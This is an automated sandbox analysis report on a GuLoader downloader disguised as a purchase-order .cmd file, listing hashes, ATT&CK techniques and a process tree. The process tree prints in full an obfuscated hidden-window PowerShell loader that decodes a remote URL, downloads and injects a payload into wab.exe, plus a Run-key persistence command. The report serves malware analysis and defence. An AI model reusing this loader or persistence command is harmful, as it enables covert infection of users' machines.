guloader | 1dc7435dee3d361dd7de77f4b0795c28e2d4f73a4b16132822260002742e5096

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
02/09/2024, 14:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Rfq_last_quater_product_purchase_order_import_list_2024_000000.cmd
Size 4KB
Sample240902-ra9htasfng
SHA256 a16e6ab8d42469af04bbab862b8676b048cd5a597c4bd2691e604ff36b532958
MD5 1ee8086d368635f0d555947f57594733
SHA1 efb679be50e6c248604a6776495d84606e0ff87f
SHA512 cb57d866414409c5ef0cfdd1c56fc296c10737f75f13d5cadd1b3bff9cc7dd2c8a658feb4c7c1226f84bf06cb8e1d8fb271749ee48b5d98ca9e765d799b2c863
SSDEEP 96:mQ+3LAMeI47OSNPzW3sVEaOIvBUGevTGS2KufGyK1fp:mQqVs71PSuGvTlufGV
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader discovery downloader execution persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Blocklisted process makes network request 2 IoCs

flow	pid	Process
9	3920	powershell.exe
37	3920	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3920	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Lungy = "%pigeonholes% -w 1 $Pseudospectral=(Get-ItemProperty -Path 'HKCU:\\Portefljernes\\').Skuespiller;%pigeonholes% ($Pseudospectral)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
4552	wab.exe
4552	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2376	powershell.exe
4552	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2376 set thread context of 4552	2376	powershell.exe	101

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2608	reg.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3920	powershell.exe
3920	powershell.exe
2376	powershell.exe
2376	powershell.exe
2376	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2376	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3920	powershell.exe
Token: SeDebugPrivilege	2376	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4552	wab.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 400 wrote to memory of 3920	400	cmd.exe	86
PID 400 wrote to memory of 3920	400	cmd.exe	86
PID 3920 wrote to memory of 4004	3920	powershell.exe	89
PID 3920 wrote to memory of 4004	3920	powershell.exe	89
PID 3920 wrote to memory of 2376	3920	powershell.exe	99
PID 3920 wrote to memory of 2376	3920	powershell.exe	99
PID 3920 wrote to memory of 2376	3920	powershell.exe	99
PID 2376 wrote to memory of 2148	2376	powershell.exe	100
PID 2376 wrote to memory of 2148	2376	powershell.exe	100
PID 2376 wrote to memory of 2148	2376	powershell.exe	100
PID 2376 wrote to memory of 4552	2376	powershell.exe	101
PID 2376 wrote to memory of 4552	2376	powershell.exe	101
PID 2376 wrote to memory of 4552	2376	powershell.exe	101
PID 2376 wrote to memory of 4552	2376	powershell.exe	101
PID 2376 wrote to memory of 4552	2376	powershell.exe	101
PID 4552 wrote to memory of 5088	4552	wab.exe	102
PID 4552 wrote to memory of 5088	4552	wab.exe	102
PID 4552 wrote to memory of 5088	4552	wab.exe	102
PID 5088 wrote to memory of 2608	5088	cmd.exe	104
PID 5088 wrote to memory of 2608	5088	cmd.exe	104
PID 5088 wrote to memory of 2608	5088	cmd.exe	104

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Rfq_last_quater_product_purchase_order_import_list_2024_000000.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "If (${host}.CurrentUICulture) {$Spinelle159='SUBsTR';$Enoghalvfjerds++;}$Spinelle159+='ing';Function koldingenser($Advertiser){$Floccules=$Advertiser.Length-$Enoghalvfjerds;For( $Opbygningerne=2;$Opbygningerne -lt $Floccules;$Opbygningerne+=3){$Smeltesikringerne152+=$Advertiser.$Spinelle159.'Invoke'( $Opbygningerne, $Enoghalvfjerds);}$Smeltesikringerne152;}function Botchedly118($Belejringstilstandenes){ & ($Tilbagefrelsen) ($Belejringstilstandenes);}$Unfolding=koldingenser 'UvMKaoBuz iTelZal,taYd/Ud5In. c0 i Ba( rWTii,onUdd AoDowD,s,n .N T y Ar1 ,0Te.Tr0b.;Pe A WMeiUnn P6B,4,y;Sp Dix F6 ,4H.;Re D.rGevac:Pi1Ju2 U1Ha.Eu0 F) , K G.le Dc.ikPro D/On2Co0Ci1 M0 G0P,1V 0,j1C, ErFsti nr MePefSto OxSo/,t1 R2U 1 M.Sp0 ';$Haandvrksmesteren117=koldingenser 'BeU KsD eSir T-MeASpgO,eC n pt . ';$Bodemiddel=koldingenser ' eh ,t .tBip.rsTa:Li/So/Zia.iv ,oS,cDra.rl,odBoo EpCoeExrC,uM..dec FoslmTe/GgTKooSkpI.3Sa.Vep ,nM g n> MhP t BtFopDasOp:Bu/Fo/WaaExvEpo RcP a RlstdKnoInp.ne ,rS.uTroSlnC.e,r.F,c Ao .m,l/r.Tv,oHapAd3B,.SapFun .g , ';$Moen=koldingenser ' V> O ';$Tilbagefrelsen=koldingenser ' MiHoe Cx a ';$Samlerobjekt='Nationalisations';$Pindsvinestillingers = koldingenser 'Ame IcBehKaoPr T.%Dea Tp upApd Da PtT a,e%Ra\K,SCauBefPlfC r Da g,oiAltAniLos,h.CoHNeaGtmZi ,&Co&Sa B eMicC,hOvo.y Unt U ';Botchedly118 (koldingenser 've$ ug Cl uoD.b MaTyl M:LiO,rfMetBreVen S=A.(TrcFimTodSp ge/KocNo Q$DiP ,iManBrdCasSgvMiiTenBee es t i ylK l .iOsnU.gPee PrCasRe)Ud ');Botchedly118 (koldingenser ' R$Meg LlJooKlbFlaPrlDi: TFoa uBrtFoo SlTjo Ig HiArsBoiNanKag e= I$ dB UoSpdEveKomBriF dS.d .eAkl,a.,jsLbpO lSkiDitSy(fo$ SMVeoKeeR,nKo) v ');Botchedly118 (koldingenser 'l,[DaNSpeNotni.B,SAteo.r SvSki PcS eS.PAmoSki nRetanMNeaWenMaaRag We PrNo]F,:I :U,SC.eupcreuEcrSqiP,tS.yElP r .oBltBao,ocKioRelS. I,=Ca ,u[H.NFaeNotKo.EkSN.ePrct,uKlrU,i,atG yPePBrr EoUnt To.rcOvoF.lBoT SyTwpAse ,]Tc:U :TuTKvlS.spa1Pr2,t ');$Bodemiddel=$Tautologising[0];$Teltslagningernes= (koldingenser 'An$Drg .l foEnb,kaNulT.:F.N TaAdzPoi,rtPri.plEghSnnTegHaeRerMangye O=.oNN eSkwOr-F OS.b jMie McSptTe ,rS y .sdet Seapm u.BaNCoeFlt .PrW,ieVabbuCNel yiune TnAft');$Teltslagningernes+=$Often[1];Botchedly118 ($Teltslagningernes);Botchedly118 (koldingenser 'Ov$H,NF aVizExiF tSmiKllCahBjnFigEme ,rU,nSkeSi.P.H,peBaa AdSteE rH,sKo[ .$DoHRaa,ea SnA,d DvOlrAgk DsStmcaeTes,ct aeCarSoehynGr1 M1.u7De] = R$C,U An PfGaoStltydeniPrn.egMe ');$Rentebelbets84=koldingenser 'Un$s NDea Sz Vis tLeiAulNahShnUdg IeCor SnS,esp.LaDR.oSewPonerlKaoHjaMedSaFtiiAflNeeps(St$BrB Po PdT.eS,mF.i dr.d eeJolBe,gy$DiCReiCot UrLeoI.nm p pr me s,rs,aeMurLisD,)B, ';$Citronpressers=$Often[0];Botchedly118 (koldingenser ',i$OegA ldioArbmoaV.lY.: DF,tjIneRerDkbSvo RlK,dB =Ta(ReT ,eRasR.t -,ePStah,t oha, Co$BaCI i,it.hrClo n gpP.r,te esVosSee Sr Ms B) S ');while (!$Fjerbold) {Botchedly118 (koldingenser 'K,$,ug lE,oR,b BaR lFr:,ncchl RoO,sCohP.= S$ tt Cr uInete ') ;Botchedly118 $Rentebelbets84;Botchedly118 (koldingenser ' KSChtG,aElrs.t U- ISEllM,eU.eF pS Ch4E. ');Botchedly118 (koldingenser 'Ci$Ang elReoEub,haAglHj:F FExjT eDyrrebBaoIll ZdCa=Vg(p T heUssCrtS.-.oPFeaEptSeh O Se$F,C i.utUtr.eoSanB,p DrPaeVis lsRoe DrSas H)Re ') ;Botchedly118 (koldingenser 'U,$Syg HlSpoS,b.naPrlBr: FI,rn ,fSno.elStiN,a,ntKteR,=Bl$DegFolOsoAmbSaaI.l,a:L,P .adorSja.el.nl HeGelDio otFrrM.o.lpnii Bc S+sh+Mu% S$P,T saD,uWetIno .lIno TgSoiFis iRunUngBa. ycMuo.wu cn AtSt ') ;$Bodemiddel=$Tautologising[$Infoliate];}$Arielles=295285;$elaphomyces=27241;Botchedly118 (koldingenser ',j$F g ,lUmoFrbP,aV l U:.nDLyo auBebQul Ae Bl Ke ,aTrfP, .v=U, LeGL.eWots,-ThC,toGrn.ntM eLinAztr. A$E.CSeiOrtT rTeoManAkpR.rFoeTas.ls KeBarLusB, ');Botchedly118 (koldingenser ' $LigAplImo,eb.ra.nl.o: .MG iEpcSirGroDim.iiRen Ki uaSatPau ,rSki,uzDee tdRa E,= T Lg[S,S,uyC.s tAneprmEc.GnCOvoq.nAxv Ie SrRetCa]Be: k:SeF.er Aorom.aBH.aPes re,o6 4 GS.mtgar Ti NnCegK.(Un$ D RoDiuBebtel,ee Al eeUnaUsf V)B, ');Botchedly118 (koldingenser 'D $Stg ,lReoKvb .a olTa:BrS ryCln ecStrH,eOvtc iBesPomT 1As6 B2mi o,=U. ,r[SuS ,y UsPatHee MmHe.SlT.jeBrxHatBr. EB.n.ic.no DdViiU,nBrgSk] : D:IrAMoSSyCPrIMaIre.TiGPreZotIgSG,tjorR,i .nufgIn(Ar$ ,MD iPhc Or .oS,mSeiUdnBriSpaInt uPrr.aiGezDdeAsdWa)On ');Botchedly118 (koldingenser 'so$UdgPilRuoVibGraStlNr:.oMSpaExlHalV.uIrsAr7.o2De=b.$HyS yG,nCrc,ir,aeN tAciSesramA.1Ud6ho2Te.YasTeuDebSts,btSvr i kn,pgpi(Fo$InA.arTii oeNolh.l AeGasA,,Ov$.ueTrlScaNopPah SoFam,ryTac Selasfy)Br ');Botchedly118 $Mallus72;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3920
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Suffragitis.Ham && echo t"
    3⤵
    PID:4004
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "If (${host}.CurrentUICulture) {$Spinelle159='SUBsTR';$Enoghalvfjerds++;}$Spinelle159+='ing';Function koldingenser($Advertiser){$Floccules=$Advertiser.Length-$Enoghalvfjerds;For( $Opbygningerne=2;$Opbygningerne -lt $Floccules;$Opbygningerne+=3){$Smeltesikringerne152+=$Advertiser.$Spinelle159.'Invoke'( $Opbygningerne, $Enoghalvfjerds);}$Smeltesikringerne152;}function Botchedly118($Belejringstilstandenes){ & ($Tilbagefrelsen) ($Belejringstilstandenes);}$Unfolding=koldingenser 'UvMKaoBuz iTelZal,taYd/Ud5In. c0 i Ba( rWTii,onUdd AoDowD,s,n .N T y Ar1 ,0Te.Tr0b.;Pe A WMeiUnn P6B,4,y;Sp Dix F6 ,4H.;Re D.rGevac:Pi1Ju2 U1Ha.Eu0 F) , K G.le Dc.ikPro D/On2Co0Ci1 M0 G0P,1V 0,j1C, ErFsti nr MePefSto OxSo/,t1 R2U 1 M.Sp0 ';$Haandvrksmesteren117=koldingenser 'BeU KsD eSir T-MeASpgO,eC n pt . ';$Bodemiddel=koldingenser ' eh ,t .tBip.rsTa:Li/So/Zia.iv ,oS,cDra.rl,odBoo EpCoeExrC,uM..dec FoslmTe/GgTKooSkpI.3Sa.Vep ,nM g n> MhP t BtFopDasOp:Bu/Fo/WaaExvEpo RcP a RlstdKnoInp.ne ,rS.uTroSlnC.e,r.F,c Ao .m,l/r.Tv,oHapAd3B,.SapFun .g , ';$Moen=koldingenser ' V> O ';$Tilbagefrelsen=koldingenser ' MiHoe Cx a ';$Samlerobjekt='Nationalisations';$Pindsvinestillingers = koldingenser 'Ame IcBehKaoPr T.%Dea Tp upApd Da PtT a,e%Ra\K,SCauBefPlfC r Da g,oiAltAniLos,h.CoHNeaGtmZi ,&Co&Sa B eMicC,hOvo.y Unt U ';Botchedly118 (koldingenser 've$ ug Cl uoD.b MaTyl M:LiO,rfMetBreVen S=A.(TrcFimTodSp ge/KocNo Q$DiP ,iManBrdCasSgvMiiTenBee es t i ylK l .iOsnU.gPee PrCasRe)Ud ');Botchedly118 (koldingenser ' R$Meg LlJooKlbFlaPrlDi: TFoa uBrtFoo SlTjo Ig HiArsBoiNanKag e= I$ dB UoSpdEveKomBriF dS.d .eAkl,a.,jsLbpO lSkiDitSy(fo$ SMVeoKeeR,nKo) v ');Botchedly118 (koldingenser 'l,[DaNSpeNotni.B,SAteo.r SvSki PcS eS.PAmoSki nRetanMNeaWenMaaRag We PrNo]F,:I :U,SC.eupcreuEcrSqiP,tS.yElP r .oBltBao,ocKioRelS. I,=Ca ,u[H.NFaeNotKo.EkSN.ePrct,uKlrU,i,atG yPePBrr EoUnt To.rcOvoF.lBoT SyTwpAse ,]Tc:U :TuTKvlS.spa1Pr2,t ');$Bodemiddel=$Tautologising[0];$Teltslagningernes= (koldingenser 'An$Drg .l foEnb,kaNulT.:F.N TaAdzPoi,rtPri.plEghSnnTegHaeRerMangye O=.oNN eSkwOr-F OS.b jMie McSptTe ,rS y .sdet Seapm u.BaNCoeFlt .PrW,ieVabbuCNel yiune TnAft');$Teltslagningernes+=$Often[1];Botchedly118 ($Teltslagningernes);Botchedly118 (koldingenser 'Ov$H,NF aVizExiF tSmiKllCahBjnFigEme ,rU,nSkeSi.P.H,peBaa AdSteE rH,sKo[ .$DoHRaa,ea SnA,d DvOlrAgk DsStmcaeTes,ct aeCarSoehynGr1 M1.u7De] = R$C,U An PfGaoStltydeniPrn.egMe ');$Rentebelbets84=koldingenser 'Un$s NDea Sz Vis tLeiAulNahShnUdg IeCor SnS,esp.LaDR.oSewPonerlKaoHjaMedSaFtiiAflNeeps(St$BrB Po PdT.eS,mF.i dr.d eeJolBe,gy$DiCReiCot UrLeoI.nm p pr me s,rs,aeMurLisD,)B, ';$Citronpressers=$Often[0];Botchedly118 (koldingenser ',i$OegA ldioArbmoaV.lY.: DF,tjIneRerDkbSvo RlK,dB =Ta(ReT ,eRasR.t -,ePStah,t oha, Co$BaCI i,it.hrClo n gpP.r,te esVosSee Sr Ms B) S ');while (!$Fjerbold) {Botchedly118 (koldingenser 'K,$,ug lE,oR,b BaR lFr:,ncchl RoO,sCohP.= S$ tt Cr uInete ') ;Botchedly118 $Rentebelbets84;Botchedly118 (koldingenser ' KSChtG,aElrs.t U- ISEllM,eU.eF pS Ch4E. ');Botchedly118 (koldingenser 'Ci$Ang elReoEub,haAglHj:F FExjT eDyrrebBaoIll ZdCa=Vg(p T heUssCrtS.-.oPFeaEptSeh O Se$F,C i.utUtr.eoSanB,p DrPaeVis lsRoe DrSas H)Re ') ;Botchedly118 (koldingenser 'U,$Syg HlSpoS,b.naPrlBr: FI,rn ,fSno.elStiN,a,ntKteR,=Bl$DegFolOsoAmbSaaI.l,a:L,P .adorSja.el.nl HeGelDio otFrrM.o.lpnii Bc S+sh+Mu% S$P,T saD,uWetIno .lIno TgSoiFis iRunUngBa. ycMuo.wu cn AtSt ') ;$Bodemiddel=$Tautologising[$Infoliate];}$Arielles=295285;$elaphomyces=27241;Botchedly118 (koldingenser ',j$F g ,lUmoFrbP,aV l U:.nDLyo auBebQul Ae Bl Ke ,aTrfP, .v=U, LeGL.eWots,-ThC,toGrn.ntM eLinAztr. A$E.CSeiOrtT rTeoManAkpR.rFoeTas.ls KeBarLusB, ');Botchedly118 (koldingenser ' $LigAplImo,eb.ra.nl.o: .MG iEpcSirGroDim.iiRen Ki uaSatPau ,rSki,uzDee tdRa E,= T Lg[S,S,uyC.s tAneprmEc.GnCOvoq.nAxv Ie SrRetCa]Be: k:SeF.er Aorom.aBH.aPes re,o6 4 GS.mtgar Ti NnCegK.(Un$ D RoDiuBebtel,ee Al eeUnaUsf V)B, ');Botchedly118 (koldingenser 'D $Stg ,lReoKvb .a olTa:BrS ryCln ecStrH,eOvtc iBesPomT 1As6 B2mi o,=U. ,r[SuS ,y UsPatHee MmHe.SlT.jeBrxHatBr. EB.n.ic.no DdViiU,nBrgSk] : D:IrAMoSSyCPrIMaIre.TiGPreZotIgSG,tjorR,i .nufgIn(Ar$ ,MD iPhc Or .oS,mSeiUdnBriSpaInt uPrr.aiGezDdeAsdWa)On ');Botchedly118 (koldingenser 'so$UdgPilRuoVibGraStlNr:.oMSpaExlHalV.uIrsAr7.o2De=b.$HyS yG,nCrc,ir,aeN tAciSesramA.1Ud6ho2Te.YasTeuDebSts,btSvr i kn,pgpi(Fo$InA.arTii oeNolh.l AeGasA,,Ov$.ueTrlScaNopPah SoFam,ryTac Selasfy)Br ');Botchedly118 $Mallus72;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2376
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Suffragitis.Ham && echo t"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2148
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:4552
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Lungy" /t REG_EXPAND_SZ /d "%pigeonholes% -w 1 $Pseudospectral=(Get-ItemProperty -Path 'HKCU:\Portefljernes\').Skuespiller;%pigeonholes% ($Pseudospectral)"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5088
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Lungy" /t REG_EXPAND_SZ /d "%pigeonholes% -w 1 $Pseudospectral=(Get-ItemProperty -Path 'HKCU:\Portefljernes\').Skuespiller;%pigeonholes% ($Pseudospectral)"
        6⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:2608

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_iwgmh4xy.sxk.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iwgmh4xy.sxk.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

Suffragitis.Ham

Path C:\Users\Admin\AppData\Roaming\Suffragitis.Ham
Size 419KB
SHA256 3c79dc2f340d1386773a88b8ea3f03827d8baf0fe8bca2d9908fdb5370f1a2a2
MD5 9f70d70330794b46aa892285ce7d511e
SHA1 ba5b244f50d17b9d1c8d1c5f0163a615608c0a14
SHA512 3701addc02de44e6b8115ab62e613e98773d219f7d029e69d0e8202d8e26903371723a68ec3a6177cf946c2d478612016f61da37876a5835eb05466f6a03941b
SSDEEP 6144:RrzZf73DRpldhH1Sn8KfX+wqicYZZ4ofmaZ+03sby+lviQKczWFeo79k1HYbElY:R3p9JhVSjXhj3Y03sV6mGPu63
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2376-45-0x00000000071E0000-0x0000000007202000-memory.dmp

Download

memory/2376-40-0x0000000005FB0000-0x0000000005FCE000-memory.dmp

Download

memory/2376-63-0x00000000746E0000-0x0000000074E90000-memory.dmp

Download

memory/2376-51-0x00000000746EE000-0x00000000746EF000-memory.dmp

Download

memory/2376-52-0x00000000746E0000-0x0000000074E90000-memory.dmp

Download

memory/2376-48-0x0000000008590000-0x000000000CDA5000-memory.dmp

Download

memory/2376-46-0x0000000007FE0000-0x0000000008584000-memory.dmp

Download

memory/2376-44-0x00000000072E0000-0x0000000007376000-memory.dmp

Download

memory/2376-22-0x00000000746EE000-0x00000000746EF000-memory.dmp

Download

memory/2376-23-0x0000000004A00000-0x0000000004A36000-memory.dmp

Download

memory/2376-25-0x00000000746E0000-0x0000000074E90000-memory.dmp

Download

memory/2376-24-0x0000000005140000-0x0000000005768000-memory.dmp

Download

memory/2376-26-0x00000000746E0000-0x0000000074E90000-memory.dmp

Download

memory/2376-27-0x0000000005100000-0x0000000005122000-memory.dmp

Download

memory/2376-28-0x00000000057E0000-0x0000000005846000-memory.dmp

Download

memory/2376-29-0x0000000005850000-0x00000000058B6000-memory.dmp

Download

memory/2376-43-0x0000000006540000-0x000000000655A000-memory.dmp

Download

memory/2376-41-0x0000000005FD0000-0x000000000601C000-memory.dmp

Download

memory/2376-35-0x00000000058C0000-0x0000000005C14000-memory.dmp

Download

memory/2376-42-0x0000000007960000-0x0000000007FDA000-memory.dmp

Download

memory/3920-66-0x00007FFA8FE00000-0x00007FFA908C1000-memory.dmp

Download

memory/3920-21-0x00007FFA8FE00000-0x00007FFA908C1000-memory.dmp

Download

memory/3920-2-0x00007FFA8FE03000-0x00007FFA8FE05000-memory.dmp

Download

memory/3920-18-0x00007FFA8FE00000-0x00007FFA908C1000-memory.dmp

Download

memory/3920-8-0x00000131DD5A0000-0x00000131DD5C2000-memory.dmp

Download

memory/3920-16-0x00007FFA8FE00000-0x00007FFA908C1000-memory.dmp

Download

memory/3920-17-0x00007FFA8FE00000-0x00007FFA908C1000-memory.dmp

Download

memory/3920-13-0x00007FFA8FE00000-0x00007FFA908C1000-memory.dmp

Download

memory/3920-15-0x00007FFA8FE03000-0x00007FFA8FE05000-memory.dmp

Download

memory/3920-14-0x00007FFA8FE00000-0x00007FFA908C1000-memory.dmp

Download

memory/3920-50-0x00007FFA8FE00000-0x00007FFA908C1000-memory.dmp

Download

memory/4552-60-0x0000000000DF0000-0x0000000002044000-memory.dmp

Download

memory/4552-62-0x0000000002050000-0x0000000006865000-memory.dmp

Download